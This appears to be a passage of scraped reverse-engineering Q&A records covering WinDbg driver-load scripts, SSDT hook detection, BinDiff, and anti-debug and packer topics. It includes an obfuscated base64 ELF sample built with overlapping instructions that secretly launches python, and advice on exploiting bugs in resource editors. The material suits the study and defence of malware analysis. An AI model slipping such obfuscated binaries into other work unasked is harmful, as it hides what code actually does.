http://www.osronline.com/showthread.cfm?link=231280

\n\n

this is a dormant script (slightly edited to use gc (go from conditional instead of go as recommended ) that keeps waiting forever and will print out the !drvobj details\nwhen ever any driver is loaded in a kernel debugging session

\n\n

no word wraps the command should be in a single line

\n\n
.foreach /pS 1 /ps 10 ( place { # call*dword*ptr*\\[*\\+*\\] nt!IopInitializeBuiltinDriver} ) {bu place \".printf  \\\"%msu\\\\n\\\", poi(esp+4);r $t0 = poi(esp); gu; !drvobj $t0 2;gc\"}\n.foreach /pS 1 /ps 10 ( place { # call*dword*ptr*\\[*\\+*\\] nt!IoploadDriver} ) {bu place \".printf  \\\"%msu\\\\n\\\", poi(esp+4);r $t1 = poi(esp); gu; !drvobj $t1 2;gc\"}\n
\n\n

xp sp3 vm

\n\n

in a connected kd session \ndo sxe ibp; .reboot \nkd will request an initial break on rebooting (equivalent to /break switch in boot.ini)\nwhen broken \nrun this script

\n\n
$$>a< \"thisscript.extension\"\n
\n\n

in addition to printing all the system driver entry points and their driver objects

\n\n

if your application loads an additional driver their details will be printed too

\n\n

a sample output for sysinternals dbgview opened in the target vm

\n\n

the dbgv.sys entry point is called when you check mark the enable kernel capture (ctrl+k)

\n\n
\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\Services\\DBGV\n*** ERROR: Module load completed but symbols could not be loaded for Dbgv.sys\nDriver object (ffbd6248) is for:\n \\Driver\\DBGV\nDriverEntry:   f6d89185 Dbgv\nDriverStartIo: 00000000 \nDriverUnload:  00000000 \nAddDevice:     00000000 \n\nDispatch routines:\n[00] IRP_MJ_CREATE                      f6d87168    Dbgv+0x1168\n[01] IRP_MJ_CREATE_NAMED_PIPE           804fa87e    nt!IopInvalidDeviceRequest\n[02] IRP_MJ_CLOSE                       f6d87168    Dbgv+0x1168\n[03] IRP_MJ_READ                        804fa87e    nt!IopInvalidDeviceRequest\n[04] IRP_MJ_WRITE                       804fa87e    nt!IopInvalidDeviceRequest\n[05] IRP_MJ_QUERY_INFORMATION           804fa87e    nt!IopInvalidDeviceRequest\n[06] IRP_MJ_SET_INFORMATION             804fa87e    nt!IopInvalidDeviceRequest\n[07] IRP_MJ_QUERY_EA                    804fa87e    nt!IopInvalidDeviceRequest\n[08] IRP_MJ_SET_EA                      804fa87e    nt!IopInvalidDeviceRequest\n[09] IRP_MJ_FLUSH_BUFFERS               804fa87e    nt!IopInvalidDeviceRequest\n[0a] IRP_MJ_QUERY_VOLUME_INFORMATION    804fa87e    nt!IopInvalidDeviceRequest\n[0b] IRP_MJ_SET_VOLUME_INFORMATION      804fa87e    nt!IopInvalidDeviceRequest\n[0c] IRP_MJ_DIRECTORY_CONTROL           804fa87e    nt!IopInvalidDeviceRequest\n[0d] IRP_MJ_FILE_SYSTEM_CONTROL         804fa87e    nt!IopInvalidDeviceRequest\n[0e] IRP_MJ_DEVICE_CONTROL              f6d87168    Dbgv+0x1168\n[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     804fa87e    nt!IopInvalidDeviceRequest\n[10] IRP_MJ_SHUTDOWN                    804fa87e    nt!IopInvalidDeviceRequest\n[11] IRP_MJ_LOCK_CONTROL                804fa87e    nt!IopInvalidDeviceRequest\n[12] IRP_MJ_CLEANUP                     804fa87e    nt!IopInvalidDeviceRequest\n[13] IRP_MJ_CREATE_MAILSLOT             804fa87e    nt!IopInvalidDeviceRequest\n[14] IRP_MJ_QUERY_SECURITY              804fa87e    nt!IopInvalidDeviceRequest\n[15] IRP_MJ_SET_SECURITY                804fa87e    nt!IopInvalidDeviceRequest\n[16] IRP_MJ_POWER                       804fa87e    nt!IopInvalidDeviceRequest\n[17] IRP_MJ_SYSTEM_CONTROL              804fa87e    nt!IopInvalidDeviceRequest\n[18] IRP_MJ_DEVICE_CHANGE               804fa87e    nt!IopInvalidDeviceRequest\n[19] IRP_MJ_QUERY_QUOTA                 804fa87e    nt!IopInvalidDeviceRequest\n[1a] IRP_MJ_SET_QUOTA                   804fa87e    nt!IopInvalidDeviceRequest\n[1b] IRP_MJ_PNP                         804fa87e    nt!IopInvalidDeviceRequest\n
\n" }, { "Id": "1383", "CreationDate": "2013-03-29T21:46:40.973", "Body": "

What are good anti-debug references for Windows which help with manual unpacking, emulating, or sandboxing?

\n", "Title": "What are good Windows anti-debug references?", "Tags": "|windows|anti-debugging|", "Answer": "\n\n

other (maybe redundant) resources:

\n\n\n" }, { "Id": "1392", "CreationDate": "2013-03-30T02:30:22.320", "Body": "

Learning the GDB commands is on my bucket-list, but in the meantime is there a graphical debugger for *nix platforms that accepts Windbg commands, and has similar functionality? For example, the ability to bring out multiple editable memory windows, automatically disassemble around an area while stepping, set disassembly flavor, and have a window with registers that have editable values?

\n", "Title": "Decent GUI for GDB", "Tags": "|debuggers|gdb|", "Answer": "

Frankly speaking... Nothing can really compare to the GDB itself. Just take the newest version, start it with gdb-multiarch (GDB now has support for all architectures and you don't need any kind of GDB branch anymore).

\n

When GDB runs just load a file:

\n
file <some_file_with_gdb_symbols.elf>\n
\n

and connect to a running GDB server (on port :3333) - in my case Openocd that communicates with any kind of embedded board:

\n
target extended-remote :3333\n
\n

When the session starts type these commands taken directly from the newest GDB manual (link, section 25):

\n
tui enable\ntui new-layout mylayout {-horizontal {src 8 asm 2} 6 regs 4} 8 status 0 cmd 2\nlayout mylayout\nrefresh\nset tui border-kind space\nset tui tab-width 4\nset tui compact-source on\nwith pagination off -- focus cmd\n
\n
\n

Put these commands in a system wide GDB configuration file /etc/gdb/gdbinit and live happily ever after.

\n
\n

After all is done you should end up with something like this:

\n

\"enter

\n

Extremely pleasing if you ask me. Especially with the newest GDB that now can stack windows horizontally (excluding cmd & status where cmd can only be full width... oh why such limitations...) as can be seen from the command where I created my layout i.e. mylayout.

\n

All that I am missing is a window for monitoring variables, addresses or expressions which I would love to position on the right of asm window... GNU, I know you can do it!

\n" }, { "Id": "1393", "CreationDate": "2013-03-30T02:34:20.290", "Body": "

I love using firmware-mod-kid to modify SoHo router firmware. The problem I encounter is that it often bloats the size of the image. It appears this happens during the mksquashfs step.

\n\n

If I'm just unsquashing a filesystem and then resquashing it with the same compression, with no modifications, why is the resulting image larger than the original?

\n", "Title": "Firmware-Mod-Kit Increases Size", "Tags": "|firmware|", "Answer": "

There is possible padding, try adding the -nopad option, assuming that you are using the same compression method.

\n" }, { "Id": "1395", "CreationDate": "2013-03-30T03:08:00.460", "Body": "

How do I debug an executable that uses TLS callbacks? It's my understanding that these run before my debugger will attach.

\n", "Title": "Debugging EXE with TLS", "Tags": "|windows|dynamic-analysis|executable|", "Answer": "

If you are using IDA Pro, Ctrl-E (Windows shortcut https://www.hex-rays.com/products/ida/support/freefiles/IDA_Pro_Shortcuts.pdf) it will show you entry point. You can directly jump to Main/start function.

\n" }, { "Id": "1397", "CreationDate": "2013-03-30T07:14:20.033", "Body": "

When compiling a division or modulo by a constant, my compiler (LLVM GCC) generates a series of instructions that I don't understand.

\n\n

When I compile the following minimal examples:

\n\n
int mod7(int x) {\n    return x % 7;\n}\n\nint div7(int x) {\n    return x / 7;\n}\n
\n\n

The following code is generated:

\n\n
_mod7:\n    push   rbp\n    mov    rbp,rsp\n\n    mov    ecx,0x92492493\n    mov    eax,edi\n    imul   ecx\n    add    edx,edi\n    mov    eax,edx\n    shr    eax,0x1f\n    sar    edx,0x2\n    add    edx,eax\n    imul   ecx,edx,0x7\n    mov    eax,edi\n    sub    eax,ecx\n\n    pop    rbp\n    ret    \n\n\n_div7:\n    push   rbp\n    mov    rbp,rsp\n\n    mov    ecx,0x92492493\n    mov    eax,edi\n    imul   ecx\n    add    edx,edi\n    mov    ecx,edx\n    shr    ecx,0x1f\n    sar    edx,0x2\n    mov    eax,edx\n    add    eax,ecx\n\n    pop    rbp\n    ret\n
\n\n\n", "Title": "How can I reverse optimized integer division/modulo by constant operations?", "Tags": "|disassembly|static-analysis|", "Answer": "

This paper might be of interest: Division by invariant multiplication.

\n\n

Bumped into this here.

\n" }, { "Id": "1399", "CreationDate": "2013-03-30T08:03:51.863", "Body": "

There are variety of tools that allow editing the resources of Windows executables.\nThese tools allow a very easy interface for changing the programs look and feel.\nReplacing icons, text, menus can be easily done without any knowledge in reversing.

\n\n

My question is, what option I have to prevent the resources being so easily edited ?

\n", "Title": "How to prevent use of Resource editors", "Tags": "|windows|pe-resources|", "Answer": "

Also, we can exploit bugs in the editors themselves to prevent tampering with our resources.\nThe interesting part here is that most Resource Editors have no idea how to parse non-typical (not very non-typical) PE files. For example, Some editors assume the resource section name must always be .rsrc. Examples:

\n\n
    \n

  1. Resource Hacker

    \n\n
    2. \n

  2. Restorator

    \n\n\n\n

    Demos here : http://pastebin.com/ezsDCaud

    3. \n
\n" }, { "Id": "1405", "CreationDate": "2013-03-30T19:58:10.487", "Body": "

Let's say I'd like to begin fuzzing Acme Corp's PDF Reader. I'd like to try to follow what Miller did by downloading a bunch of benign PDFs and mutate them.

\n\n

Miller began by reducing his corpus of PDF samples to a minimum by pruning samples that had similar code coverage.

\n\n

How is that specific step done? That is, how did he determine what was a similar code coverage?

\n\n

I can imagine a tool that traces execution and records JMP/CALLs to get an execution graph, and I suppose you could diff those graphs. But what about JIT code? Wouldn't those graphs be very different since the JIT would likely be in different locations in memory?

\n", "Title": "How do I determine code coverage when fuzzing", "Tags": "|tools|fuzzing|", "Answer": "

Not sure how it fares against application with JIT compiled code, but peach has a minset utility to make a minimal set of files with highest code coverage:

\n\n
\n

This tool will run each sample file through a target program and determine code coverage. It will then find the least number of files needed to cover the most code. This will be the minimum set of files that should be used when fuzzing.

\n
\n\n

But as far as I can see it uses the method you proposed, monitoring hits of all basic blocks of the application. It uses a pintool to do this.

\n" }, { "Id": "1414", "CreationDate": "2013-03-31T01:32:02.497", "Body": "

Much reverse engineering has been done on Windows over the years leading to great undocumented functionality, such as using NtCreateThreadEx to inject threads across sessions.

\n\n

On OSX the topic of thread injection seems relatively uncharted. With the operating system being so incredibly large, where can I begin looking in order to uncover the functionality I desire?

\n\n

For example, if someone were to ask me this about Windows, I would expect an answer telling me to begin reverse engineering CreateRemoteThread or to start looking at how the kernel creates user threads and point them into ntoskrnl.exe.

\n", "Title": "Thread Injection on OSX", "Tags": "|osx|", "Answer": "

You might find this useful -- I ended up writing a tutorial about this recently, since, as you note, documentation for this stuff is always so sketchy and often out of date.

\n\n

http://soundly.me/osx-injection-override-tutorial-hello-world/

\n" }, { "Id": "1420", "CreationDate": "2013-03-31T02:48:00.997", "Body": "

I understand that on x86, INT 1 is used for single-stepping and INT 3 is used for setting breakpoints, and some other interrupt (usually 0x80 for Linux and 0x2E for Windows) used to be used for system calls.

\n\n

If a piece of malware hooks the Interrupt Descriptor Table (IDT) and substitutes its own INT 1 and INT 3 handlers that perform system call-like functionality, how can I use a debugger to trace its execution? Or am I stuck with using static-analysis tools?

\n", "Title": "Malware Hooking INT 1 and INT 3", "Tags": "|malware|debuggers|dynamic-analysis|kernel-mode|", "Answer": "

I would suggest this as a solution http://accessroot.com/arteam/site/download.php?view.185 as I had similar problem in one of crackmes. What I did was to write my own hooks for SoftICE to bypass ring0 hooks of int 3 and int 1. Could be useful for your problem. Interesting section is \"SoftICE comes to the rescue\".

\n" }, { "Id": "1423", "CreationDate": "2013-03-31T03:12:12.127", "Body": "

I'm analyzing some software that appears to encrypt its communications over the network, but it does not appear to be SSL. How can I easily determine what encryption algorithm its using, and maybe find the key?

\n", "Title": "Determine Encryption Algorithm", "Tags": "|tools|cryptography|", "Answer": "

A nice combination of findcrypt2 by HexRays and the work done by Felix Gr\u00f6bert is IDAScope. It's very useful for searching for and identifying encryption algorithms. For more information on IDAScope's Crypto Identification I'd recommend the following link.

\n" }, { "Id": "1428", "CreationDate": "2013-03-31T08:27:00.800", "Body": "

LLVM IR is a fairly high-level, typed bitcode which can be directly executed by LLVM and compiled to JIT on the fly. It would not surprise me if a new executable format or programming language was designed directly on top of LLVM, to be executed as if it were an interpreted language.

\n\n

In this regard, I am curious as to the state of the art on LLVM decompilation. Because it is a typed bitcode specifically designed to be easy to analyze, one might expect that it is relatively easy to decompile (or at least reassemble into a more readable or logical form).

\n\n

Googling turns up this BSc thesis which does a relatively rudimentary job, but seemingly few other leads. I might have expected this fellow's supervisor to have done some further research in this area, but it seems his focus is more towards the compiler design area of research.

\n\n

Are there research projects, commercial prototypes, or even any kinds of active research being done in the field of LLVM decompilation?

\n", "Title": "What is the state of art in LLVM IR decompilation?", "Tags": "|decompilation|llvm|", "Answer": "

It's extremely easy to decompile. LLVM for a long time shipped with a CBackend that would convert LLVM into C.

\n\n

The LLVM that is created by todays frontends (clang) is very amenable to any kind of analysis and understanding that you can think of. So you can probably just use normal LLVM tools (opt, llc) to \"decompile\" the IR. I find LLVM IR quite readable on its own, but I'm strange.

\n\n

However, just like compilation of C to assembler, some information is lost or destroyed. Structure field names are gone, forever replaced with indexes. Their types remain though. Control flow, as a concept, remains, there is no confusion of code and data, but functions can be removed because they are dead or inlined. I believe enum values are removed as well. Parameter information to function remains, as do the types of global variables.

\n\n

There actually is a decent post where an LLVM contributor outlines pitfalls and problems with using their bitcode format in the manner that you suggest. Many people seem to have listened to him, so I'm not sure if we'll ever need to move beyond the tools we currently have for understanding LLVM bitcode...

\n" }, { "Id": "1440", "CreationDate": "2013-04-01T13:14:19.190", "Body": "

I have found a multilayer PCB of which I need to draw the circuit. At first, I tried to find the circuit on the internet using part numbers, but I did not get any result. The PCB is from a very old alarm installation.

\n\n

Are there any tools or techniques I can use to get to know the structure of the layers I can't see?

\n", "Title": "Draw circuit of a multilayer PCB", "Tags": "|tools|pcb|", "Answer": "

There are comprehensive tools that can do precisely this. Part of the software that comes with them allows you to place part numbers between pads and have the circuit diagram automatically generated for you. Unfortunately, they're likely to set you back a fair bit of cash.

\n\n

An alternative is to use corrosives and sharp implements to manually split the layers, but that's difficult and prone to mistakes. If you've got a number of boards you can destroy in the process, this is probably the cheapest option.

\n" }, { "Id": "1445", "CreationDate": "2013-04-01T17:53:15.223", "Body": "

I have seen mentions of SoftICE on various questions throughout this site. However, the Wikipedia article on SoftICE implies that the tool is abandoned. Searching google, I see many links claiming to be downloads for SoftICE, but they seem to have questionable origins and intent.

\n\n

Is there an official website where I can purchase and download SoftICE, or an official MD5 of a known SoftICE installer?

\n", "Title": "How do I acquire SoftICE?", "Tags": "|tools|debuggers|softice|", "Answer": "

After buying NuMega technologies in 1997, Compuware seemed to feel that SoftICE was a liability, both technically and legally (as the #1 hacker tool of the time), and that may have played into why they discontinued support. SoftICE required constant updates in order to continue working against the various updates of Windows that were coming out, and there were only a couple of people who knew how to make those updates. In 2007, they closed down the NuMega office in Nashua, NH, and moved all the intellectual property to Compuware's headquarters (then in Detroit, MI). The product line that included all that stuff was sold off to MicroFocus in 2009, along with the remaining developers, none of which knew a thing about building SoftICE, let alone updating it to work with updated versions of Windows. We toyed with resurrecting the product around 2011, but could not get management to buy off on it, so it didn't happen.

\n\n

The source code remains in its own stasis box (a source control database), and will likely never go anywhere from there.

\n\n

Disclaimer: I work for MicroFocus, and currently maintain the formerly NuMega product \"DevPartner Studio\", the BoundsChecker portion in particular.

\n" }, { "Id": "1460", "CreationDate": "2013-04-01T21:24:22.093", "Body": "

I'm trying to reverse engineer some boards that have multiple layers, but can't figure out any way of discovering which layer certain vias go to. Unfortunately I can't destroy the board with corrosives, since it's my only one. How can I find out how deep they go?

\n", "Title": "How can I work out which PCB layer a via goes to, without destroying the board?", "Tags": "|hardware|pcb|", "Answer": "

You would probably need some expensive scanning equipment. It is possible you could get old equipment that is being discarded but that would be rather difficult. Then you would probably need to write software to handle the output of the equipment as you most likely wouldn't have a license for the accompaning software unless you nabbed a complete system intact.

\n\n

If you were willing to forgo saving the original PCB you could do this. Basically carefully note component positions, remove the parts, scan both sides, clean up scans with image tool, then repeat removing layers of the board as you go... sounds quite error prone to me.

\n\n

It is also possible you could figure out a few by checking exhaustivly if some groups of pins go to the same layer... you could probably assume those were power/ground pins.

\n\n

Another thing that may help is if the board is designed to support boundary scan testing. If I understand correctly you might be able to use that to automate detecting connecitons between chips if not which layer they are on. And here is a PDF on that topic.

\n" }, { "Id": "1461", "CreationDate": "2013-04-01T21:56:28.287", "Body": "

The SSDT is a dispatch table inside the Windows NT kernel, and it is used for handling calls to various internal kernel APIs. Often malware will change addresses in the SSDT in order to hook certain kernel functions. Spotting this kind of thing in a memory dump would be awesome, because it would allow me to identify potential rootkits. Is there a way to reliably detect them? What kind of memory dump is required?

\n", "Title": "Is there an easy way to detect if the SSDT has been patched from a memory dump?", "Tags": "|windows|malware|", "Answer": "

No absolutely reliable way, no.

\n\n

Either way you'll need a full dump, but the problem is that malware could even hook the responsible functions inside the kernel and modify what gets dumped. There are several things that have to be considered here.

\n\n

You can detect it if the malware used a trivial method for hooking in the first place. Let's assume the address was replaced by one to a trampoline or to inside another loaded image (or even outside one just in nonpaged pool), then you can easily detect it. You can simply enumerate all the modules and attempt to find the one inside which the address from inside the SSDT points. In case of a trampoline you'll have to disassemble the instructions there to see where it jumps/calls. There are plenty of libraries out there for the purpose, such as udis86.

\n\n

However, if a malware is sneaky, it could use the natural gaps inside an executable (such as the kernel) when loaded into memory. As you probably know, the way a PE file (such as ntoskrnl.exe and friends) is represented differently on disk and in memory. The on-disk file format is more terse. Loaded into memory, the sections are aligned in a particular way described in the PE header. This way gaps will likely exist between the real size of a section (end) and the properly aligned section size (\"padding\"). This leaves place to hide something like a trampoline or even more shell code than a simple trampoline. So a naive check such as the above - i.e. enumerating modules and checking whether the SSDT functions point inside the kernel image - will not work. It would get bypassed by malware sophisticated enough to do what I just described.

\n\n

As you can imagine, this means that things - as all things malware/anti-malware - quickly becomes an arms race. What I would strongly suggest is that you attach a kernel debugger (WinDbg via Firewire comes to mind) and keep the infected (or allegedly infected) machine in limbo while you investigate. While you are connected and broke into the debugger, the debuggee can't do anything. This can be used to debug a system live and - assuming the malware wasn't sneaky enough to also manipulate kdcom - to gain valuable metrics - it can also be used to create a crashdump directly (see WinDbg help). If you have conclusive evidence that a machine is infected, due to symptoms it exhibits, odds are the malware isn't all too sophisticated and you will not have to care about the special case I outlined. However, keep in mind that this special case can only be considered one out of many conceivable cases used to hide. So long story short: there is no absolutely reliable way to do what you want.

\n\n

It has sometimes been said - and it's true - that the attacker just needs to find one out of an infinite number of attack vectors, whereas the defender can only defend a finite number of known attack vectors. The lesson from this should be that we - as anti-malware industry (in which I work) - can always claim that we didn't find anything on the system, but that it is wrong to claim that the system is clean.

\n\n
\n\n

How to deliberately cause a BSOD

\n\n

The keyboard driver(s) can be told to cause a BSOD:

\n\n
HKLM\\CurrentControlSet\\Services\\kbdhid\\Parameters\n
\n\n

or (for older PS/2 keyboards)

\n\n
HKLM\\SYSTEM\\CurrentControlSet\\Services\\i8042prt\\Parameters\n
\n\n

And there set a REG_DWORD named CrashOnCtrlScroll to 1.

\n\n

After the next reboot you can force the blue screen by Ctrl+ScrollLk+ScrollLk. The bug check code will in this case be 0xE2 (MANUALLY_INITIATED_CRASH).

\n\n
\n\n

Side-note: I have also read, but never seen it in a kernel debugging session myself or in any kind of FLOSS implementation, that some method tries to re-load the kernel from the image on disk and run it through the early initialization steps, thereby creating a \"shadow\" SSDT. This one would then be pristine and could be used to \"unhook\" everything in one fell swoop from the original SSDT. Again, haven't seen this implemented, but from my knowledge of the internals it seems a possibility. Of course this plays more with the idea of detecting/unhooking a rootkit's functions than it does with your original intention of getting a memory dump of an infected system.

\n" }, { "Id": "1463", "CreationDate": "2013-04-01T22:49:19.713", "Body": "

I know there are tools for identifying common ciphers and hash algorithms in code, but are there any similar scripts / tools / plugins for common compression algorithms such as gzip, deflate, etc? Primarily aimed at x86 and Windows, but answers for other platforms are welcomed too.

\n\n

Note that I'm looking to find code, not data.

\n", "Title": "Are there any tools or scripts for identifying compression algorithms in executables?", "Tags": "|tools|windows|x86|", "Answer": "

If a binary uses deflate or gzip (which uses deflate), the code is generally linked in as a library and thus easy to detect based on string artifacts. This can certainly be automated, e.g., you could simply search for the respective strings. Manually matching functions against the source code is a somewhat tedious process, but it usually works nicely. The process is much more difficult for less common algorithms or when you don't have any artifacts. In that case you have to identify the algorithm by its semantics (things like word size, constants, data structures may provide hints).

\n\n

In addition to the already mentioned FLIRT signatures: If you use IDA Pro with the Hex-Rays plugin and you are lucky, you may be able to find an algorithm on http://crowd.re. There are a few annotations for compression algorithms available. Apart from that, I am not aware of any tools or scripts that do what you want.

\n" }, { "Id": "1471", "CreationDate": "2013-04-02T05:31:36.057", "Body": "

Is there any way to leave 2D flow chart graphs and go to 3D model?\nI mean something like that:

\n\n

Usual 2D graph:\n\"2D

\n\n

3D graph:\n\"3D

\n\n

The only one solution I've seen is using UbiGraph + Linux on VM (to use UbiGraph) + some X-server for Win (the process of making all that stuff to work is described at Cr4sh's blog). That's kinda perverted solution, up to me.

\n\n

Also it would be brilliant if there could be displayed disasm in nodes, like in ordinary 2D IDA graphs.

\n\n

Perhaps there are some more elegant solutions?

\n", "Title": "3D control-flow graphs in IDA", "Tags": "|disassembly|ida|", "Answer": "

By default, IDA generates graphs in GDL (WinGraph) format, but you can switch it to DOT which is supported by GraphViz and some other tools. It seems Gephi can do 3D.

\n\n

See GRAPH_FORMAT and GRAPH_VISUALIZER in ida.cfg.

\n" }, { "Id": "1475", "CreationDate": "2013-04-02T09:35:57.497", "Body": "

I would like to know what are the basic principles (and maybe a few things about the optimizations and heuristics) of the BinDiff software. Does anyone have a nice and pedagogic explanation of it?

\n", "Title": "How does BinDiff work?", "Tags": "|tools|tool-bindiff|", "Answer": "

In general, BinDiff in its current version as of this writing (4.x) works by matching attributes on the function level. \nBasically, matching is divided into two phases: first initial matches are generated which are then refined in the drill down phase.

\n\n

Initial Matches

\n\n

First of all BinDiff associates a signature based on the following attributes to each function:

\n\n\n\n

This step gives us a set of signatures for each binary which in turn are used to generate the set of initial matches. Following a one-to-one relation, BinDiff selects these initial matches based on the above characteristics.

\n\n

The next step tries to find matchings on the call graph of each binary: for a verified match, the set of called functions from the matched function is examined in order to find event more matches. This process is repeated as long as new matches are found.

\n\n

Drill Down

\n\n

In practice, not all functions will be matched by the one-to-one relation induced by the initial matching strategy, so after the initial matchings have been determined we still have a list of unmatched functions.\nThe idea of the drill down phase is to have multiple different function matchings strategies which are applied until a match is found. The order of applying these strategies is important: BinDiff tries those strategies for which it assumes the highest confidence, first. Only if no match could be found, it goes on with the next strategy. This is repeated until BinDiff runs out of strategies, or until all functions are matched. Examples include MD index, match based on function names (i.e. imports), callgraph edges MD index, etc.

\n\n

MD-Index paper

\n\n

Graph-based Comparison of Executable Objects

\n\n

Structural Comparison of Executable Objects

\n\n

(Disclaimer: working @ team zynamics / google, hopefully I didn't mess up anything, otherwise soeren is going to grill me ;-))

\n" }, { "Id": "1478", "CreationDate": "2013-04-02T12:14:23.807", "Body": "

I'm just getting into the RE field, and I learned about virtualized packers (like VMProtect or Themida) in a class about a year ago. How often is malware in the wild really packed with virtualized packers, and what is the state of the art in unpacking them for static analysis?

\n", "Title": "How common are virtualized packers in the wild?", "Tags": "|obfuscation|static-analysis|malware|unpacking|virtualizers|", "Answer": "

I can support the presented view of the other responders. You will rarely encounter code virtualization when looking at in the wild samples.

\n\n

Just to add, here is a recent case-study by Tora looking at the custom virtualization used in FinFisher (sorry, direct link to PDF, have no other source).

\n\n

The VM used here has only 11 opcodes, thus this example can be easily understood and used to get an impression of some common design principles behind custom VMs.

\n" }, { "Id": "1526", "CreationDate": "2013-04-03T03:09:07.193", "Body": "

I've been looking for an open-source GUI tool to extract PDF's in an automated way on Windows systems. I've used Didier Steven's tools with great interest for a while, but cannot make sense of how to use his PDF decomposing/analyzing tools, even after watching some of his videos. They seem to require significant understanding of the underlying PDF construction, and possibly much more.

\n\n

For SWF files, the tool SWFScan is the kind I'm looking for: you load the file in question into the tool. From there, you can explore the links, scripts, and images. It even auto-analyses code and shows which parts may have security issues and what the issue is for each one, then gives a webpage reference with more information.

\n\n

Does anyone know of a good open-source GUI for Windows that can load a PDF and not execute it but extract all the scripts, compiled code, text, links, images, etc.? Ideally, it would show the relation of each, like when you click on a certain image, it would tell you what script(s) are run, which URL it goes to, and let you see the image on its own.

\n\n

PDF's are so common, next to SWF, that this kind of tool seems like it would already be common. I may have overlooked it/them.

\n", "Title": "Open source GUI tool for decomposing a PDF", "Tags": "|decompilation|tools|windows|", "Answer": "

While there is no GUI, I believe it's worth mentioning command lines tools that will help with the in an automated way part of your question. I've personally used the mupdf associated command line tool: mutool.

\n\n

For example working on the following PDF file, here is what you would do to extract the encapsulated JPX stream:

\n\n
$ mutool info Bug691816.pdf \nBug691816.pdf:\n\nPDF-1.5\nInfo object (49 0 R):\n<</ModDate(D:20101122114310-08'00')/CreationDate(D:20101122114251-08'00')/Title(ID1561x.indd)/Creator(Adobe InDesign 1.5.2)/Producer(Adobe PDF Library 4.16)>>\nPages: 1\n\nRetrieving info from pages 1-1...\nMediaboxes (1):\n    1   (54 0 R):   [ 0 0 612 792 ]\n\nImages (1):\n    1   (54 0 R):   [ JPX ] 300x161 8bpc Idx (58 0 R)\n
\n\n

So you simply need to:

\n\n
$ mutool show -be -o obj58.jp2 Bug691816.pdf 58\n
\n\n

You can verify:

\n\n
$ file obj58.jp2\nobj58.jp2: JPEG 2000 Part 1 (JP2)\n
\n\n

See documentation:

\n\n\n\n
\n\n

For PDF/A-3: EmbeddedFile (as in this file) you can even run:

\n\n
$ mutool portfolio ZUGFeRD_1p0_BASIC_Einfach.pdf x 0 ZUGFeRD-invoice.xml\n$ head ZUGFeRD-invoice.xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!-- \n\nNutzungsrechte \nZUGFeRD Datenformat Version 1.0, 25.6.2014\nBeispiel Version 29.09.2014\n\nZweck des Forums f\u00fcr elektronische Rechnungen bei der AWV e.V (\u201eFeRD\u201c) ist u.a. die Schaffung und Spezifizierung \neines offenen Datenformats f\u00fcr strukturierten elektronischen Datenaustausch auf der Grundlage offener und nicht \ndiskriminierender, standardisierter Technologien (\u201eZUGFeRD Datenformat\u201c)\n
\n\n

See documentation:

\n\n\n" }, { "Id": "1531", "CreationDate": "2013-04-03T08:11:29.310", "Body": "

I analyzed some binaries in x86/x86-64 using some obfuscation tricks. One was called overlapping instructions. Can someone explain how does this obfuscation work and how to work around?

\n", "Title": "What is \"overlapping instructions\" obfuscation?", "Tags": "|obfuscation|binary-analysis|deobfuscation|", "Answer": "

Because x86 instructions can be any length and don't need to be aligned, one instruction's immediate value can be another instruction altogether. For example:

\n\n
00000000  0531C0EB01        add eax,0x1ebc031\n00000005  055090EB01        add eax,0x1eb9050\n0000000A  05B010EB01        add eax,0x1eb10b0\n0000000F  EBF0              jmp short 0x1\n
\n\n

This does exactly what it says, until the jump. When it jumps, the immediate value being added to eax become an instruction, so the code looks like:

\n\n
00000000  05                db 5\n00000001  31C0              xor ax,ax           xor ax, ax\n00000003  EB01              jmp short 0x6\n00000005  05                db 5\n00000006  50                push ax             push ax\n00000007  90                nop\n00000008  EB01              jmp short 0xb\n0000000A  05                db 5\n0000000B  B010              mov al,0x10         mov al,0x10\n....\n
\n\n

The instructions which are actually significant are shown in the right-hand column. In this example, short jump instructions are used to skip the add eax part of the instruction (05). It should be noted that this could be done more effectively by using an single-byte to eat the 05s, like 3C05 which is cmp al, 0x5, and would be harmless in code that doesn't care about the flags.

\n\n

In the pattern above, you easily replace all the 05s with 90 (nop) to view the correct disassembly. This can be made trickier by using the 05s as immediate values to hidden code (that the execution depends on). In reality, the person obfuscating the code would probably not use add eax over and over again, and might change the execution order to make it messier to trace.

\n\n

I prepared a sample using the pattern above. This is a 32-bit Linux ELF file in base64. The effect of the hidden code is running execve(\"//usr/bin/python\", 0, 0). I suggest you don't run random binaries from SE answers. You can, however, use it to test your disassemblers. IDA, Hopper and objdump all fail miserably at first glance, although I imagine you can get IDA to do it correctly somehow.

\n\n
f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAYIAECDQAAAAoAQAAAAAAADQAIAABACgAAwACAAEAAAAA\nAAAAAIAECACABAgUAQAAFAEAAAUAAAAAEAAAAAAAAAAAAAAAAAAABTHA6wEFUJDrAQWwEOsBBffg\n6wEF9+DrAQWJw+sBBbRu6wEFsG/rAQX34+sBBbRo6wEFsHTrAQVQkOsBBbR56wEFsHDrAQX34+sB\nBbQv6wEFsG7rAQVQkOsBBbRp6wEFsGLrAQX34+sBBbQv6wEFsHLrAQVQkOsBBbRz6wEFsHXrAQX3\n4+sBBbQv6wEFsC/rAQVQkOsBBTHJ6wEF9+HrAQWJ4+sBBbAL6wEFzYDrAelN////AC5zaHN0cnRh\nYgAudGV4dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAEA\nAAAGAAAAYIAECGAAAAC0AAAAAAAAAAAAAAAQAAAAAAAAAAEAAAADAAAAAAAAAAAAAAAUAQAAEQAA\nAAAAAAAAAAAAAQAAAAAAAAA=\n
\n" }, { "Id": "1539", "CreationDate": "2013-04-03T14:10:49.680", "Body": "

I'd like to improve my skill as a reverse engineer. And thus I am looking for a location to find these.

\n", "Title": "Where to find a hard crackme", "Tags": "|obfuscation|unpacking|crackme|", "Answer": "

Here is a just closed reverse engineering challenge that was posted by Halvar Flake:\nhttp://addxorrol.blogspot.kr/2013/01/encouraging-female-reverse-engineers.html

\n\n

The winner and a link to her very detailed and well written report is linked on this page:\nhttp://addxorrol.blogspot.kr/2013/03/congratulations-marion.html

\n\n

This is much more difficult than most crackme's that I have encountered and is an example of a complex and obfuscated piece of Windows malware.

\n" }, { "Id": "1541", "CreationDate": "2013-04-03T14:42:49.297", "Body": "

